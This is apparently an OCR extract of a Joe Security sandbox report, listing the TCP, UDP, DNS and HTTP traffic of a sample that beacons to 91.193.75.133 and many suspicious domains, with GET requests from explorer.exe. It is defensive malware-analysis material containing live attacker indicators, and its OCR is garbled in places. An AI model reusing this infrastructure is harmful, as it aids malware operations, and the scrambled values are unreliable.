May 27, 2022 18:40:51.564623117 CEST 6670 49756 91.193.75.133 192.168.2.5
May 27, 2022 18:40:52.202647924 CEST 49756 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:52.242722034 CEST 6670 49756 91.193.75.133 192.168.2.5
May 27, 2022 18:40:52.890326023 CEST 49756 6670 192.168.2.5 91.193.75.133
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Timestamp Source Port Dest Port Source IP Dest IP

May 27, 2022 18:40:52.932429075 CEST 6670 49756 91.193.75.133 192.168.2.5
May 27, 2022 18:40:54.584331989 CEST 49759 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:54.624250889 CEST 6670 49759 91.193.75.133 192.168.2.5
May 27, 2022 18:40:55.202927113 CEST 49759 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:55.242959023 CEST 6670 49759 91.193.75.133 192.168.2.5
May 27, 2022 18:40:55.298178911 CEST 49760 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:55.338185072 CEST 6670 49760 91.193.75.133 192.168.2.5
May 27, 2022 18:40:55.819263935 CEST 49763 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:55.859193087 CEST 6670 49763 91.193.75.133 192.168.2.5
May 27, 2022 18:40:55.890475035 CEST 49759 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:55.890522003 CEST 49760 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:55.930442095 CEST 6670 49760 91.193.75.133 192.168.2.5
May 27, 2022 18:40:55.930464029 CEST 6670 49759 91.193.75.133 192.168.2.5
May 27, 2022 18:40:56.391123056 CEST 49763 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:56.431016922 CEST 6670 49763 91.193.75.133 192.168.2.5
May 27, 2022 18:40:56.499910116 CEST 49760 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:56.540383101 CEST 6670 49760 91.193.75.133 192.168.2.5
May 27, 2022 18:40:57.000015020 CEST 49763 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:57.043452024 CEST 6670 49763 91.193.75.133 192.168.2.5
May 27, 2022 18:41:00.131510019 CEST 49770 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:00.171358109 CEST 6670 49770 91.193.75.133 192.168.2.5
May 27, 2022 18:41:00.703393936 CEST 49770 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:00.744311094 CEST 6670 49770 91.193.75.133 192.168.2.5
May 27, 2022 18:41:01.390976906 CEST 49770 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:01.430989981 CEST 6670 49770 91.193.75.133 192.168.2.5
May 27, 2022 18:41:03.191642046 CEST 49773 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:03.231647968 CEST 6670 49773 91.193.75.133 192.168.2.5
May 27, 2022 18:41:03.753446102 CEST 49774 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:03.793576956 CEST 6670 49774 91.193.75.133 192.168.2.5
May 27, 2022 18:41:03.891176939 CEST 49773 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:03.931247950 CEST 6670 49773 91.193.75.133 192.168.2.5
May 27, 2022 18:41:04.254432917 CEST 49776 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:04.294398069 CEST 6670 49776 91.193.75.133 192.168.2.5
May 27, 2022 18:41:04.391223907 CEST 49774 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:04.431366920 CEST 6670 49774 91.193.75.133 192.168.2.5
May 27, 2022 18:41:04.500639915 CEST 49773 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:04.540687084 CEST 6670 49773 91.193.75.133 192.168.2.5
May 27, 2022 18:41:04.891299963 CEST 49776 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:04.931134939 CEST 6670 49776 91.193.75.133 192.168.2.5
May 27, 2022 18:41:05.000622988 CEST 49774 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:05.041001081 CEST 6670 49774 91.193.75.133 192.168.2.5
May 27, 2022 18:41:05.507725000 CEST 49776 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:05.547863960 CEST 6670 49776 91.193.75.133 192.168.2.5
May 27, 2022 18:41:10.477559090 CEST 49778 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:10.517604113 CEST 6670 49778 91.193.75.133 192.168.2.5
May 27, 2022 18:41:11.063705921 CEST 49778 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:11.103733063 CEST 6670 49778 91.193.75.133 192.168.2.5
May 27, 2022 18:41:11.673170090 CEST 49778 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:11.713155985 CEST 6670 49778 91.193.75.133 192.168.2.5
May 27, 2022 18:41:12.059333086 CEST 49780 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:12.100748062 CEST 6670 49780 91.193.75.133 192.168.2.5
May 27, 2022 18:41:12.527539968 CEST 49781 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:12.568242073 CEST 6670 49781 91.193.75.133 192.168.2.5
May 27, 2022 18:41:12.694361925 CEST 49780 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:12.735317945 CEST 6670 49780 91.193.75.133 192.168.2.5
May 27, 2022 18:41:12.805114031 CEST 49782 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:12.845839977 CEST 6670 49782 91.193.75.133 192.168.2.5
May 27, 2022 18:41:13.080930948 CEST 49781 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:41:13.121011019 CEST 6670 49781 91.193.75.133 192.168.2.5
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UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
May 27, 2022 18:40:23.576297998 CEST 54322 53 192.168.2.5 8.8.8.8
May 27, 2022 18:40:23.606199980 CEST 53 54322 8.8.8.8 192.168.2.5
May 27, 2022 18:40:37.152708054 CEST 53934 53 192.168.2.5 8.8.8.8
May 27, 2022 18:40:37.357868910 CEST 53 53934 8.8.8.8 192.168.2.5
May 27, 2022 18:40:46.258002043 CEST 63712 53 192.168.2.5 8.8.8.8
May 27, 2022 18:40:46.368906975 CEST 53 63712 8.8.8.8 192.168.2.5
May 27, 2022 18:40:55.693986893 CEST 60969 53 192.168.2.5 8.8.8.8
May 27, 2022 18:40:55.801886082 CEST 53 60969 8.8.8.8 192.168.2.5
May 27, 2022 18:42:05.261799097 CEST 49912 53 192.168.2.5 8.8.8.8
May 27, 2022 18:42:05.296097040 CEST 53 49912 8.8.8.8 192.168.2.5
May 27, 2022 18:42:11.838790894 CEST 62648 53 192.168.2.5 8.8.8.8
May 27, 2022 18:42:12.339371920 CEST 53 62648 8.8.8.8 192.168.2.5
May 27, 2022 18:42:17.682028055 CEST 55473 53 192.168.2.5 8.8.8.8
May 27, 2022 18:42:17.703310013 CEST 53 55473 8.8.8.8 192.168.2.5
May 27, 2022 18:42:23.608829975 CEST 49416 53 192.168.2.5 8.8.8.8
May 27, 2022 18:42:23.634542942 CEST 53 49416 8.8.8.8 192.168.2.5
May 27, 2022 18:42:29.487941980 CEST 61126 53 192.168.2.5 8.8.8.8

May 27, 2022 18:42:29.511679888 CEST 53 61126 8.8.8.8 192.168.2.5
May 27, 2022 18:42:34.528116941 CEST 54152 53 192.168.2.5 8.8.8.8
May 27, 2022 18:42:34.552783012 CEST 53 54152 8.8.8.8 192.168.2.5
May 27, 2022 18:42:39.681524038 CEST 53194 53 192.168.2.5 8.8.8.8
May 27, 2022 18:42:40.685030937 CEST 53194 53 192.168.2.5 8.8.8.8

May 27, 2022 18:42:41.695749998 CEST 53194 53 192.168.2.5 8.8.8.8
May 27, 2022 18:42:43.708076954 CEST 53 53194 8.8.8.8 192.168.2.5
May 27, 2022 18:42:44.711980104 CEST 53 53194 8.8.8.8 192.168.2.5
May 27, 2022 18:42:46.714152098 CEST 53 53194 8.8.8.8 192.168.2.5
May 27, 2022 18:42:48.746814966 CEST 50393 53 192.168.2.5 8.8.8.8

May 27, 2022 18:42:48.916855097 CEST 53 50393 8.8.8.8 192.168.2.5
May 27, 2022 18:42:54.298546076 CEST 55870 53 192.168.2.5 8.8.8.8
May 27, 2022 18:42:54.472529888 CEST 53 55870 8.8.8.8 192.168.2.5
May 27, 2022 18:43:00.232038975 CEST 61458 53 192.168.2.5 8.8.8.8
May 27, 2022 18:43:00.324579000 CEST 53 61458 8.8.8.8 192.168.2.5
May 27, 2022 18:43:24.170703888 CEST 55316 53 192.168.2.5 8.8.8.8
May 27, 2022 18:43:24.308945894 CEST 53 55316 8.8.8.8 192.168.2.5
May 27, 2022 18:43:34.985131979 CEST 62706 53 192.168.2.5 8.8.8.8
May 27, 2022 18:43:35.037714005 CEST 53 62706 8.8.8.8 192.168.2.5
May 27, 2022 18:43:40.351139069 CEST 52263 53 192.168.2.5 8.8.8.8
May 27, 2022 18:43:40.389641047 CEST 53 52263 8.8.8.8 192.168.2.5
May 27, 2022 18:43:48.340230942 CEST 59933 53 192.168.2.5 8.8.8.8
May 27, 2022 18:43:48.363925934 CEST 53 59933 8.8.8.8 192.168.2.5
May 27, 2022 18:43:53.504652977 CEST 50829 53 192.168.2.5 8.8.8.8
May 27, 2022 18:43:53.677223921 CEST 53 50829 8.8.8.8 192.168.2.5
May 27, 2022 18:44:11.556072950 CEST 56523 53 192.168.2.5 8.8.8.8
May 27, 2022 18:44:11.583956957 CEST 53 56523 8.8.8.8 192.168.2.5
May 27, 2022 18:44:17.278124094 CEST 58904 53 192.168.2.5 8.8.8.8
May 27, 2022 18:44:17.446652889 CEST 53 58904 8.8.8.8 192.168.2.5
May 27, 2022 18:44:22.987395048 CEST 55744 53 192.168.2.5 8.8.8.8
May 27, 2022 18:44:23.014332056 CEST 53 55744 8.8.8.8 192.168.2.5
May 27, 2022 18:44:28.831376076 CEST 58312 53 192.168.2.5 8.8.8.8
May 27, 2022 18:44:28.853545904 CEST 53 58312 8.8.8.8 192.168.2.5
May 27, 2022 18:44:28.855243921 CEST 52511 53 192.168.2.5 8.8.8.8
May 27, 2022 18:44:28.877693892 CEST 53 52511 8.8.8.8 192.168.2.5
May 27, 2022 18:44:28.879286051 CEST 56754 53 192.168.2.5 8.8.8.8
May 27, 2022 18:44:28.901909113 CEST 53 56754 8.8.8.8 192.168.2.5
May 27, 2022 18:44:33.909610033 CEST 54375 53 192.168.2.5 8.8.8.8
May 27, 2022 18:44:34.336025000 CEST 53 54375 8.8.8.8 192.168.2.5
May 27, 2022 18:44:39.692225933 CEST 54252 53 192.168.2.5 8.8.8.8
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Timestamp Source Port Dest Port Source IP Dest IP

May 27, 2022 18:44:40.705912113 CEST 54252 53 192.168.2.5 8.8.8.8
May 27, 2022 18:44:41.721628904 CEST 54252 53 192.168.2.5 8.8.8.8
May 27, 2022 18:44:41.728339911 CEST 53 54252 8.8.8.8 192.168.2.5
May 27, 2022 18:44:41.730488062 CEST 51378 53 192.168.2.5 8.8.8.8
May 27, 2022 18:44:41.735764027 CEST 53 54252 8.8.8.8 192.168.2.5
May 27, 2022 18:44:41.738681078 CEST 53 54252 8.8.8.8 192.168.2.5
May 27, 2022 18:44:41.813271999 CEST 53 51378 8.8.8.8 192.168.2.5
May 27, 2022 18:44:46.958093882 CEST 53878 53 192.168.2.5 8.8.8.8
May 27, 2022 18:44:46.984272003 CEST 53 53878 8.8.8.8 192.168.2.5
May 27, 2022 18:44:52.177602053 CEST 60470 53 192.168.2.5 8.8.8.8
May 27, 2022 18:44:52.244136095 CEST 53 60470 8.8.8.8 192.168.2.5
May 27, 2022 18:44:52.246082067 CEST 61637 53 192.168.2.5 8.8.8.8
May 27, 2022 18:44:52.287955999 CEST 53 61637 8.8.8.8 192.168.2.5
May 27, 2022 18:44:52.289501905 CEST 52452 53 192.168.2.5 8.8.8.8
May 27, 2022 18:44:52.354617119 CEST 53 52452 8.8.8.8 192.168.2.5
May 27, 2022 18:45:20.945590019 CEST 63301 53 192.168.2.5 8.8.8.8
May 27, 2022 18:45:21.944252968 CEST 63301 53 192.168.2.5 8.8.8.8
May 27, 2022 18:45:22.130119085 CEST 53 63301 8.8.8.8 192.168.2.5
May 27, 2022 18:45:22.132440090 CEST 52530 53 192.168.2.5 8.8.8.8
May 27, 2022 18:45:22.191454887 CEST 53 63301 8.8.8.8 192.168.2.5
May 27, 2022 18:45:22.229511976 CEST 53 52530 8.8.8.8 192.168.2.5
May 27, 2022 18:45:22.231492996 CEST 49901 53 192.168.2.5 8.8.8.8
May 27, 2022 18:45:22.321934938 CEST 53 49901 8.8.8.8 192.168.2.5
ICMP Packets
Timestamp Source IP Dest IP Checksum Code Type
May 27, 2022 18:42:44.712160110 CEST 192.168.2.5 8.8.8.8 cff8 (Port Destination
unreachable) Unreachable
May 27, 2022 18:42:46.714236975 CEST 192.168.2.5 8.8.8.8 cff8 (Port Destination
unreachable) Unreachable
May 27, 2022 18:44:41.735922098 CEST 192.168.2.5 8.8.8.8 do0ob (Port Destination
unreachable) Unreachable
May 27, 2022 18:45:22.191659927 CEST 192.168.2.5 8.8.8.8 cff4 (Port Destination
unreachable) Unreachable
DNS Queries
Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
May 27, 2022 18:40:23.576297998 CEST 192.168.2.5 8.8.8.8 Oxa8aa Standard query  dilshadkha A (IP address) IN (0x0001)
0) n.duia.ro
May 27, 2022 18:40:37.152708054 CEST 192.168.2.5 8.8.8.8 Oxafdd Standard query  dilshadkha A (IP address) IN (0x0001)
0) n.duia.ro
May 27, 2022 18:40:46.258002043 CEST 192.168.2.5 8.8.8.8 0xf7b9 Standard query  dilshadkha A (IP address) IN (0x0001)
0) n.duia.ro
May 27, 2022 18:40:55.693986893 CEST 192.168.2.5 8.8.8.8 0x2f29 Standard query  dilshadkha A (IP address) IN (0x0001)
0) n.duia.ro
May 27, 2022 18:42:05.261799097 CEST 192.168.2.5 8.8.8.8 0xb45a Standard query  www.rashee A (IP address) IN (0x0001)
(0) dabossmove
s.com
May 27, 2022 18:42:11.838790894 CEST 192.168.2.5 8.8.8.8 0x39b0 Standard query  www.84866.xyz A (IP address) IN (0x0001)
@
May 27, 2022 18:42:17.682028055 CEST 192.168.2.5 8.8.8.8 0xcf99 Standard query  www.sekola A (IP address) IN (0x0001)
(0) hkejepang.com
May 27, 2022 18:42:23.608829975 CEST 192.168.2.5 8.8.8.8 0x198e Standard query  www.refres A (IP address) IN (0x0001)
(0) hertowels.com
May 27, 2022 18:42:29.487941980 CEST 192.168.2.5 8.8.8.8 0x2230 Standard query  www.hengyu A (IP address) IN (0x0001)
(0) ejiguang.com
May 27, 2022 18:42:34.528116941 CEST 192.168.2.5 8.8.8.8 Oxfoef Standard query  www.medyum A (IP address) IN (0x0001)
(0) galip.com
May 27, 2022 18:42:39.681524038 CEST 192.168.2.5 8.8.8.8 0x8294 Standard query  www.gafcbo A (IP address) IN (0x0001)
(0) oster.com
May 27, 2022 18:42:40.685030937 CEST 192.168.2.5 8.8.8.8 0x8294 Standard query  www.gafcbo A (IP address) IN (0x0001)
(0) oster.com
May 27, 2022 18:42:41.695749998 CEST 192.168.2.5 8.8.8.8 0x8294 Standard query  www.gafcho A (IP address) IN (0x0001)
(0) oster.com
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

May 27, 2022 18:42:48.746814966 CEST 192.168.2.5 8.8.8.8 0x58aa Standard query  www.haleca A (IP address) IN (0x0001)
(0) milla.site

May 27, 2022 18:42:54.298546076 CEST 192.168.2.5 8.8.8.8 0x5121 Standard query  www.ratebill.com A (IP address) IN (0x0001)
0

May 27, 2022 18:43:00.232038975 CEST 192.168.2.5 8.8.8.8 0x97c5 Standard query  www.toping A (IP address) IN (0x0001)
(0) s33.com

May 27, 2022 18:43:24.170703888 CEST 192.168.2.5 8.8.8.8 0x4865 Standard query  www.jlbwat A (IP address) IN (0x0001)
(0) erdamagere

pairseattle.com

May 27, 2022 18:43:34.985131979 CEST 192.168.2.5 8.8.8.8 0x6fe8 Standard query  www.localb A (IP address) IN (0x0001)
(0) loom.online

May 27, 2022 18:43:40.351139069 CEST 192.168.2.5 8.8.8.8 Ox4be4 Standard query  www.brawlh A (IP address) IN (0x0001)
(0) allacodest

ore.com

May 27, 2022 18:43:48.340230942 CEST 192.168.2.5 8.8.8.8 0x864b Standard query  www.pdwfifi.com A (IP address) IN (0x0001)
(0)

May 27, 2022 18:43:53.504652977 CEST 192.168.2.5 8.8.8.8 0x172b Standard query  www.68chen A (IP address) IN (0x0001)
(0) gxinle.com

May 27, 2022 18:44:11.556072950 CEST 192.168.2.5 8.8.8.8 0x58f3 Standard query  www.refres A (IP address) IN (0x0001)
(0) hertowels.com

May 27, 2022 18:44:17.278124094 CEST 192.168.2.5 8.8.8.8 0xc007 Standard query  www.muddyb A (IP address) IN (0x0001)
0) ootslife.com

May 27, 2022 18:44:22.987395048 CEST 192.168.2.5 8.8.8.8 0x9a64 Standard query  www.o70iwlp.xyz A (IP address) IN (0x0001)
©)

May 27, 2022 18:44:28.831376076 CEST 192.168.2.5 8.8.8.8 0xc5¢3 Standard query  www.spxtok A (IP address) IN (0x0001)
(0) ensales.com

May 27, 2022 18:44:28.855243921 CEST 192.168.2.5 8.8.8.8 Oxaad6 Standard query  www.spxtok A (IP address) IN (0x0001)
(0) ensales.com

May 27, 2022 18:44:28.879286051 CEST 192.168.2.5 8.8.8.8 0x8d67 Standard query  www.spxtok A (IP address) IN (0x0001)
(0) ensales.com

May 27, 2022 18:44:33.909610033 CEST 192.168.2.5 8.8.8.8 0x5592 Standard query  www.84866.xyz A (IP address) IN (0x0001)
)

May 27, 2022 18:44:39.692225933 CEST 192.168.2.5 8.8.8.8 0x5e70 Standard query  www.tentan A (IP address) IN (0x0001)
0) guang.online

May 27, 2022 18:44:40.705912113 CEST 192.168.2.5 8.8.8.8 0x5e70 Standard query  www.tentan A (IP address) IN (0x0001)
0) guang.online

May 27, 2022 18:44:41.721628904 CEST 192.168.2.5 8.8.8.8 0x5e70 Standard query  www.tentan A (IP address) IN (0x0001)
0) guang.online

May 27, 2022 18:44:41.730488062 CEST 192.168.2.5 8.8.8.8 0x1f80 Standard query  www.tentan A (IP address) IN (0x0001)
©0) guang.online

May 27, 2022 18:44:46.958093882 CEST 192.168.2.5 8.8.8.8 0x4c8d Standard query  www.localb A (IP address) IN (0x0001)
(0) loom.online

May 27, 2022 18:44:52.177602053 CEST 192.168.2.5 8.8.8.8 Oxe6ce Standard query  www.mysbaa A (IP address) IN (0x0001)
0) lly.com

May 27, 2022 18:44:52.246082067 CEST 192.168.2.5 8.8.8.8 0x5556 Standard query  www.mysbaa A (IP address) IN (0x0001)
0) lly.com

May 27, 2022 18:44:52.289501905 CEST 192.168.2.5 8.8.8.8 0xb55b Standard query  www.mysbaa A (IP address) IN (0x0001)
0) lly.com

May 27, 2022 18:45:20.945590019 CEST 192.168.2.5 8.8.8.8 0x6638 Standard query  www.wps-mt A (IP address) IN (0x0001)
0) b.com

May 27, 2022 18:45:21.944252968 CEST 192.168.2.5 8.8.8.8 0x6638 Standard query  www.wps-mt A (IP address) IN (0x0001)
0) b.com

May 27, 2022 18:45:22.132440090 CEST 192.168.2.5 8.8.8.8 0xe9a5 Standard query  www.wps-mt A (IP address) IN (0x0001)
0) b.com

May 27, 2022 18:45:22.231492996 CEST 192.168.2.5 8.8.8.8 0xb331 Standard query  www.wps-mt A (IP address) IN (0x0001)
(0) b.com

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

May 27, 2022 8.8.8.8 192.168.2.5 Oxa8aa No error (0) dilshadkha 91.193.75.133 A (IP address) IN

18:40:23.606199980 CEST n.duia.ro (0x0001)

May 27, 2022 8.8.8.8 192.168.2.5 Oxafdd No error (0) dilshadkha 91.193.75.133 A (IP address) IN

18:40:37.357868910 CEST n.duia.ro (0x0001)

May 27, 2022 8.8.8.8 192.168.2.5 0xf7h9 No error (0) dilshadkha 91.193.75.133 A (IP address) IN

18:40:46.368906975 CEST n.duia.ro (0x0001)

May 27, 2022 8.8.8.8 192.168.2.5 0x2f29 No error (0) dilshadkha 91.193.75.133 A (IP address) IN

18:40:55.801886082 CEST n.duia.ro (0x0001)

May 27, 2022 8.8.8.8 192.168.2.5 Oxb45a No error (0) www.rashee rasheedabossmov CNAME IN

18:42:05.296097040 CEST dabossmove es.com (Canonical (0x0001)

s.com name)
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Timestamp

May 27, 2022
18:42:05.296097040 CEST

May 27, 2022
18:42:12.339371920 CEST

May 27, 2022
18:42:17.703310013 CEST

May 27, 2022
18:42:17.703310013 CEST

May 27, 2022
18:42:23.634542942 CEST

May 27, 2022
18:42:29.511679888 CEST

May 27, 2022
18:42:34.552783012 CEST

May 27, 2022
18:42:34.552783012 CEST

May 27, 2022
18:42:43.708076954 CEST

May 27, 2022
18:42:44.711980104 CEST

May 27, 2022
18:42:46.714152098 CEST

May 27, 2022
18:42:48.916855097 CEST

May 27, 2022
18:42:48.916855097 CEST

May 27, 2022
18:42:54.472529888 CEST

May 27, 2022
18:43:00.324579000 CEST

May 27, 2022
18:43:24.308945894 CEST

May 27, 2022
18:43:35.037714005 CEST

May 27, 2022
18:43:40.389641047 CEST

May 27, 2022
18:43:40.389641047 CEST

May 27, 2022
18:43:48.363925934 CEST

May 27, 2022
18:43:53.677223921 CEST

May 27, 2022
18:44:11.583956957 CEST

May 27, 2022
18:44:17.446652889 CEST

May 27, 2022
18:44:17.446652889 CEST

May 27, 2022
18:44:23.014332056 CEST

May 27, 2022
18:44:28.853545904 CEST

May 27, 2022
18:44:28.877693892 CEST

May 27, 2022
18:44:28.901909113 CEST

May 27, 2022
18:44:34.336025000 CEST

May 27, 2022
18:44:41.728339911 CEST

May 27, 2022
18:44:41.735764027 CEST

May 27, 2022
18:44:41.738681078 CEST

May 27, 2022
18:44:41.813271999 CEST
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Source IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Dest IP

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

Trans ID

0xb45a

0x39b0

0xcf99

0xcf99

0x198e

0x2230

0xf9ef

0xf9ef

0x8294

0x8294

0x8294

0x58aa

0x58aa

0x5121

0x97¢c5

0x4865

0x6fe8

Ox4be4d

Ox4be4d

0x864b

0x172b

0x58f3

0xc007

0xc007

0x9a64

0xc5¢3

Oxaad6

0x8d67

0x5592

0x5e70

0x5e70

0x5e70

0x1f80

Reply Code

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

No error (0)

No error (0)

Server failure (2)

Server failure (2)

Server failure (2)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

Name error (3)

Name error (3)

No error (0)

Server failure (2)

No error (0)

No error (0)

No error (0)

Name

rasheedabo
ssmoves.com

www.84866.xyz

www.sekola
hkejepang.com

sekolahkej
epang.com

www.refres
hertowels.com

www.hengyu
ejiguang.com

www.medyum
galip.com

www.medyum
galip.com

www.gafcbo
oster.com

www.gafcbo
oster.com

www.gafcbo
oster.com

www.haleca
milla.site

halecamilla.site

www.ratebill.com

www.toping
s33.com

www.jlbwat
erdamagere
pairseattle.com

www.localb
loom.online

www.brawlh
allacodest
ore.com

shop.freew
ebstore.org

www.pdwfifi.com

www.68chen
gxinle.com

www.refres
hertowels.com

www.muddyb
ootslife.com

muddyboots
life.com

www.o70iwlp.xyz

www.spxtok
ensales.com

www.spxtok
ensales.com

www.spxtok
ensales.com

www.84866.xyz

www.tentan
guang.online

www.tentan
guang.online

www.tentan
guang.online

www.tentan
guang.online

CName

sekolahkejepang.c
om

none

none

none

none

halecamilla.site

shop.freewebstore.

org

muddybootslife.co
m

none

none

none

none

Address

160.153.136.3

35.241.47.216

103.247.11.212

23.231.99.207

none

172.67.140.71

104.21.8.218

none

none

none

207.174.214.35

137.220.133.198

162.0.230.89

170.39.76.27

185.134.245.113

52.17.85.125

185.53.179.171

45.39.111.146

23.231.99.207

66.235.200.145

134.122.201.217

none

none

none

35.241.47.216

none

185.27.134.149

185.27.134.149

185.27.134.149

Type

A (IP address)

A (IP address)

CNAME

(Canonical

name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)
A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)
A (IP address)
A (IP address)

A (IP address)

CNAME

(Canonical

name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)
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Timestamp Source IP
May 27, 2022 8.8.8.8
18:44:46.984272003 CEST

May 27, 2022 8.8.8.8
18:44:52.244136095 CEST

May 27, 2022 8.8.8.8
18:44:52.287955999 CEST

May 27, 2022 8.8.8.8
18:44:52.354617119 CEST

May 27, 2022 8.8.8.8
18:45:22.130119085 CEST

May 27, 2022 8.8.8.8
18:45:22.191454887 CEST

May 27, 2022 8.8.8.8
18:45:22.229511976 CEST

May 27, 2022 8.8.8.8

18:45:22.321934938 CEST

Dest IP

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

HTTP Request Dependency Graph

e www.rasheedabossmoves.com

o Www.84866.xyz

* www.sekolahkejepang.com

o www.refreshertowels.com

e www.medyumgalip.com

e www.halecamilla.site

e www.ratebill.com

e www.topings33.com

* www.jlbwaterdamagerepairseattle.com

e www.localbloom.online

e www.brawlhallacodestore.com

o www.pdwfifi.com

* www.68chengxinle.com

* www.muddybootslife.com

HTTP Packets

Session ID Source IP

0 192.168.2.5
. kBytes

Timestamp transferred

May 27, 2022 910

18:42:06.776382923

CEST

May 27, 2022 910

18:42:06.806461096

CEST

Copyright Joe Security LLC 2022

Source Port

49830

Direction

ouT

Trans ID Reply Code Name CName

0x4c8d No error (0) www.localb
loom.online

Oxe6ce Name error (3) www.mysbaa none
lly.com

0x5556 Name error (3) www.mysbaa none
lly.com

0xb55b Name error (3) www.mysbaa none
lly.com

0x6638 Server failure (2)  www.wps-mt none
b.com

0x6638 Server failure (2)  www.wps-mt none
b.com

0xe9a5 Server failure (2)  www.wps-mt none
b.com

0xb331 Server failure (2) www.wps-mt none
b.com

Destination IP Destination Port

160.153.136.3 80

Data

Process

C:\Windows\explorer.exe

Address

185.134.245.113

none

none

none

none

none

none

none

Type

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

GET /np8s/?4hM4=04B0f&zVB=pvCvVC1srqMzTu3vjZ/Pi4S7puQ7WYIroZs2vwEHISE4BKgUF4SEMyF7QG3EYWra

DKw9 HTTP/1.1

Host: www.rasheedabossmoves.com
Connection: close

Data Raw: 00 00 00 00 00 00 00
Data Ascii:

HTTP/1.1 400 Bad Request
Connection: close
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kBytes

Timestamp A Direction

Session ID Source IP Source Port

1 192.168.2.5 49840

Timestamp e Direction
transferred

May 27, 2022 992 ouT

18:42:12.360888004

CEST

May 27, 2022 993 IN

18:42:12.665857077

CEST

Session ID Source IP Source Port

10 192.168.2.5 49892

Timestamp e Direction
transferred

May 27, 2022 9539 ouT

18:43:24.808360100

CEST

Copyright Joe Security LLC 2022

35.241.47.216 80

170.39.76.27 80

Data

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?zVB=LP9EI17xKnNeim8nLd+KxbxmCUjQ+ejx+5/wYAWzXpl6ry2rccLFMoZPirUOcSWhDiha&4hM4=04B0f
HTTP/1.1

Host: www.84866.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Server: nginx/1.20.2

Date: Fri, 27 May 2022 16:42:12 GMT

Content-Type: text/html

Content-Length: 5248

Last-Modified: Fri, 11 Mar 2022 02:41:55 GMT

Vary: Accept-Encoding

ETag: "622ab6f3-1480"

Cache-Control: no-cache

Accept-Ranges: bytes

Via: 1.1 google

Connection: close

